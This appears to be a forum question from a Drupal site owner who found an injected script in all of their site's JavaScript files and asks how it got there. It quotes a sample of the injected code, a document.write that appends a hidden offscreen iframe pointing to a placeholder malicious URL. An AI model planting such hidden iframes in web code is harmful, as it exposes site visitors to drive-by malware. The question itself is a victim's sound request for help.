I found that in all the JavaScript files on my Drupal website, there is JavaScript code with an <iframe>
pointing to an external website. When I open the website through Google Chrome, the browser shows a warning about malware.
How is it possible that someone was able to write code in a JavaScript file?
The file permissions for the settings.php file are 0444.
This is sample of the injected code.
jQuery(document).ready(function($) {
$("#edit-search-web").Watermark(" type the keyword");
});; document.write('<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="SOMEBADURL"></iframe>');